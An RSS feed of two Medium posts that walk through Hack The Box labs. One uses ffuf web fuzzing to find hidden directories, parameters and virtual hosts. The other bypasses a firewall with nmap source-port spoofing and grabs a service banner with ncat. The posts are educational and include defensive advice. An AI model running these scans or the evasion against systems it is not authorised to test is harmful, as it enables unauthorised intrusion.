<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Hassan on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Hassan on Medium]]></description>
        <link>https://medium.com/@ahmedhassanf099?source=rss-ff9afc9d3fd1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ZN09xwPR75DEfNBD</url>
            <title>Stories by Ahmed Hassan on Medium</title>
            <link>https://medium.com/@ahmedhassanf099?source=rss-ff9afc9d3fd1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:43:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmedhassanf099/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Academy — Web Fuzzing Skills Assessment Writeup]]></title>
            <link>https://medium.com/@ahmedhassanf099/htb-academy-web-fuzzing-skills-assessment-writeup-5593e893a5ce?source=rss-ff9afc9d3fd1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5593e893a5ce</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Hassan]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 22:49:14 GMT</pubDate>
            <atom:updated>2026-04-19T22:49:14.581Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Platform:</em></strong><em> Hack The Box Academy </em><strong><em>Module:</em></strong><em> Web Fuzzing </em><strong><em>Difficulty:</em></strong><em> Medium </em><strong><em>Tools:</em></strong><em> ffuf, curl </em><strong><em>Wordlist:</em></strong><em> SecLists — common.txt</em></blockquote><h3>🗺️ Attack Path Overview</h3><p># Technique Discovery 1 Directory Fuzzing /admin 2 Extension Fuzzing /admin/panel.php 3 Parameter Discovery accessID (leaked in error) 4 Value Fuzzing accessID=getaccess 5 VHost Fuzzing hidden.fuzzing_fun.htb 6 Deep Directory Fuzzing /godeep/stoneedge/bbclone/typo3/... 7 Flag HTB{...} 🎉</p><h3>🔍 Step-by-Step Walkthrough</h3><h3>STEP 01 — Root Directory Fuzzing</h3><p>We start by fuzzing the root of the target to discover hidden directories.</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u http://154.57.164.77:30770/FUZZ \<br>     -mc 200,301,302</pre><p><strong>Result:</strong></p><pre>admin   [Status: 301, Size: 323]</pre><p>A 301 redirect means the directory exists. Let&#39;s go deeper.</p><h3>STEP 02 — Extension Fuzzing inside /admin</h3><p>Accessing /admin/ returns <strong>&quot;Access Denied&quot;</strong> with a body size of 13 bytes. We fuzz inside it with multiple extensions and filter out the false positives using -fs 13.</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u http://154.57.164.77:30770/admin/FUZZ \<br>     -e .php,.html,.txt,.bak \<br>     -mc 200,301,302 \<br>     -fs 13</pre><p><strong>Result:</strong></p><pre>panel.php   [Status: 200, Size: 58]</pre><h3>STEP 03 — Inspect panel.php</h3><pre>curl http://154.57.164.77:30770/admin/panel.php</pre><p><strong>Result:</strong></p><pre>Invalid parameter, please ensure accessID is set correctly</pre><blockquote><em>💡 </em><strong><em>The error message leaks the parameter name: </em></strong><strong><em>accessID</em></strong><em> — this is a classic Information Disclosure vulnerability.</em></blockquote><h3>STEP 04 — Fuzz the Parameter Value</h3><p>Now we fuzz the value of accessID using the same wordlist, filtering the default 58-byte response.</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://154.57.164.77:30770/admin/panel.php?accessID=FUZZ&quot; \<br>     -mc 200,301,302 \<br>     -fs 58</pre><p><strong>Result:</strong></p><pre>getaccess   [Status: 200, Size: 68]</pre><h3>STEP 05 — Access the Panel</h3><pre>curl &quot;http://154.57.164.77:30770/admin/panel.php?accessID=getaccess&quot;</pre><p><strong>Result:</strong></p><pre>Head on over to the fuzzing_fun.htb vhost for some more fuzzing fun!</pre><p>We have a new clue — a <strong>virtual host</strong> to discover.</p><h3>STEP 06 — Add VHost &amp; Get Next Hint</h3><pre>echo &quot;154.57.164.77 fuzzing_fun.htb&quot; | sudo tee -a /etc/hosts</pre><pre>curl <a href="http://fuzzing_fun.htb:30770/">http://fuzzing_fun.htb:30770/</a></pre><p><strong>Result:</strong></p><pre>Welcome to fuzzing_fun.htb!<br>Your next starting point is in the godeep folder - but it might be on this vhost, it might not, who knows...</pre><p>The hint says /godeep might be on <strong>another vhost</strong> — time for VHost fuzzing.</p><h3>STEP 07 — Virtual Host Fuzzing</h3><p>First, we identify the default response size for unknown vhosts:</p><pre>curl -s -H &quot;Host: test.htb&quot; http://154.57.164.77:30770/ | wc -c<br># → 273 bytes</pre><p>Now fuzz for subdomains of fuzzing_fun.htb, filtering the default 273-byte response:</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://154.57.164.77:30770/&quot; \<br>     -H &quot;Host: FUZZ.fuzzing_fun.htb&quot; \<br>     -mc 200,301,302 \<br>     -fs 273</pre><p><strong>Result:</strong></p><pre>hidden   [Status: 200, Size: 45]</pre><h3>STEP 08 — Add Hidden VHost &amp; Enter /godeep</h3><pre>echo &quot;154.57.164.77 hidden.fuzzing_fun.htb&quot; | sudo tee -a /etc/hosts</pre><pre>curl <a href="http://hidden.fuzzing_fun.htb:30770/godeep/">http://hidden.fuzzing_fun.htb:30770/godeep/</a><br># → &quot;Keep going...&quot;</pre><p>Time to fuzz deeper! We filter size 12 (the “Keep going” response):</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://hidden.fuzzing_fun.htb:30770/godeep/FUZZ&quot; \<br>     -mc 200,301,302 \<br>     -e .php,.html,.txt \<br>     -fs 12</pre><p><strong>Result:</strong></p><pre>stoneedge   [Status: 301]</pre><h3>STEP 09 — Deep Directory Fuzzing (Keep Going!)</h3><p>We keep fuzzing layer by layer, each time filtering the previous response size:</p><p><strong>Layer 2 — /godeep/stoneedge/</strong></p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://hidden.fuzzing_fun.htb:30770/godeep/stoneedge/FUZZ&quot; \<br>     -mc 200,301,302 -e .php,.html,.txt -fs 13</pre><pre>bbclone   [Status: 301]   # &quot;Almost there...&quot;</pre><p><strong>Layer 3 — /godeep/stoneedge/bbclone/</strong></p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://hidden.fuzzing_fun.htb:30770/godeep/stoneedge/bbclone/FUZZ&quot; \<br>     -mc 200,301,302 -e .php,.html,.txt -fs 17</pre><pre>typo3   [Status: 301]   # &quot;Just a bit more...&quot;</pre><p><strong>Layer 4 — /godeep/stoneedge/bbclone/typo3/</strong></p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \<br>     -u &quot;http://hidden.fuzzing_fun.htb:30770/godeep/stoneedge/bbclone/typo3/FUZZ&quot; \<br>     -mc 200,301,302 -e .php,.html,.txt -fs [response_size]</pre><blockquote><em>Keep fuzzing each new directory until you reach the final page with the flag!</em></blockquote><h3>🚩 Flag</h3><pre>HTB{...}</pre><p><em>(Replace with the actual flag after completing the challenge)</em></p><h3>💡 Key Takeaways</h3><p>Technique Lesson Learned <strong>Directory Fuzzing</strong> Always fuzz with multiple extensions, not just directory names <strong>False Positives</strong> Use -fs to filter repeated response sizes <strong>Error Messages</strong> Error messages can leak sensitive info like parameter names <strong>VHost Fuzzing</strong> Change the Host header — not the URL — to discover virtual hosts <strong>Deep Enumeration</strong> Keep fuzzing every new directory you find recursively <strong>Wordlist Selection</strong> common.txt is enough for many cases — choose your wordlist wisely</p><h3>🛠️ Tools &amp; References</h3><ul><li><strong>ffuf</strong> — <a href="https://github.com/ffuf/ffuf">https://github.com/ffuf/ffuf</a></li><li><strong>SecLists</strong> — <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></li><li><strong>HTB Academy Web Fuzzing Module</strong> — <a href="https://academy.hackthebox.com/">https://academy.hackthebox.com</a></li></ul><p><em>Written as part of HTB Academy — Web Fuzzing module walkthrough.</em> <em>Happy Hacking! 🎯</em></p><p>Ahmed Hassan ELfekiry — CyberSecurity Researcher</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5593e893a5ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Firewall Trust: Bypassing IDS/IPS to Expose a Hidden Database Service]]></title>
            <link>https://medium.com/@ahmedhassanf099/breaking-firewall-trust-bypassing-ids-ips-to-expose-a-hidden-database-service-c3180aee074c?source=rss-ff9afc9d3fd1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3180aee074c</guid>
            <dc:creator><![CDATA[Ahmed Hassan]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 10:34:38 GMT</pubDate>
            <atom:updated>2026-02-26T10:34:38.220Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Modern infrastructures rely heavily on firewalls and IDS/IPS solutions to restrict unauthorized access to internal services. However, improper filtering logic and trust-based rules can sometimes introduce weaknesses that skilled attackers may exploit.</p><p>In this scenario, the objective was to enumerate a target protected by a firewall, identify a hidden service handling large volumes of data, and retrieve its associated flag.</p><p>Rather than relying on aggressive scanning, this exercise focused on stealth techniques and firewall evasion strategies.</p><h3>Initial Reconnaissance</h3><p>I began with a standard TCP scan targeting the most common ports.The results initially appeared minimal:</p><ul><li>22/tcp open — SSH</li><li>80/tcp open — HTTP</li></ul><p>At first glance, the system seemed properly restricted, exposing only essential services.</p><p>However, experienced enumeration requires validating assumptions rather than trusting surface-level results.</p><p>Since limited scans often miss filtered or non-standard services, I expanded the scope to a full TCP port scan across all 65,535 ports:</p><pre>sudo nmap -sS -p- -Pn -n target_ip</pre><h3>Why these flags?</h3><ul><li>-sS → SYN stealth scan (avoids completing full TCP handshake)</li><li>-p- → Scan all ports (1–65535)</li><li>-Pn → Skip host discovery (ICMP may be blocked)</li><li>-n → Disable DNS resolution to reduce noise</li></ul><h3>Key Observation</h3><p>Port 50000 appeared as:</p><pre>50000/tcp filtered ibm-db2</pre><p>This indicated:</p><ul><li>The service exists.</li><li>A firewall or IDS is actively filtering interactions.</li><li>The service fingerprint suggested IBM Db2.</li></ul><h3>Firewall Evasion Strategy</h3><p>Filtered does not mean closed.</p><p>To test firewall behavior, source port manipulation was applied:</p><pre>sudo nmap -sS -sV -p50000 -Pn -n --source-port 53 target_ip</pre><h3>Why Port 53?</h3><p>Many firewall configurations implicitly trust traffic originating from:</p><ul><li>DNS (53)</li><li>HTTPS (443)</li><li>NTP (123)</li></ul><p>By spoofing the source port to 53, the traffic may bypass simplistic filtering rules.</p><h3>Result</h3><pre>50000/tcp open  ibm-db2</pre><p>The service was now accessible.</p><p>This confirms the firewall relied on source-port trust logic — a weak security control.</p><h3>Service Enumeration and Version Detection</h3><p>Next, version detection was attempted:</p><pre>sudo nmap -sV -p50000 --source-port 53 target_ip</pre><p>In hardened environments, services may suppress detailed responses to version probes.</p><p>Therefore, a direct TCP connection was required.</p><h3>Direct Banner Grabbing</h3><p>To complete the TCP handshake and retrieve raw service output:</p><pre>sudo ncat -nv --source-port 53 --source VPN_IP target_ip 50000</pre><blockquote><em>Note: Specifying — source prevents local port binding conflicts (especially if DNS is already running).</em></blockquote><p>Upon successful connection:</p><pre>220 HTB{xxxxxxxxxxxxxxxx}</pre><p>The flag was returned directly from the service banner.</p><h3>Technical Analysis</h3><p>This lab highlights several key security concepts:</p><h3>1. Filtered ≠ Secure</h3><p>A filtered port often indicates access control mechanisms, not absence of service.</p><h3>2. Weak Trust-Based Firewall Logic</h3><p>Allowing traffic solely based on source port is insecure and easily bypassed.</p><h3>3. SYN Scanning vs Full TCP Connection</h3><p>Some services only reveal banners after full handshake completion.</p><h3>4. Minimal Noise Enumeration</h3><p>Disabling DNS resolution and ICMP reduces detection footprint.</p><h3>Defensive Perspective</h3><p>From a blue team standpoint, this misconfiguration could be mitigated by:</p><ul><li>Avoiding trust based solely on source port</li><li>Implementing stateful inspectio</li><li>Using deep packet inspection (DPI)</li><li>Restricting database exposure at the network level</li></ul><h3>Conclusion</h3><p>Through careful enumeration and firewall evasion techniques, a hidden database service was successfully identified and accessed.</p><p>This exercise demonstrates that effective penetration testing is not about speed, but about understanding network behavior and exploiting trust assumptions in security configurations.</p><h3>Final Thought</h3><p>True network security does not rely on obscurity or simple filtering rules — it depends on layered defense, proper segmentation, and intelligent traffic inspection.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3180aee074c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>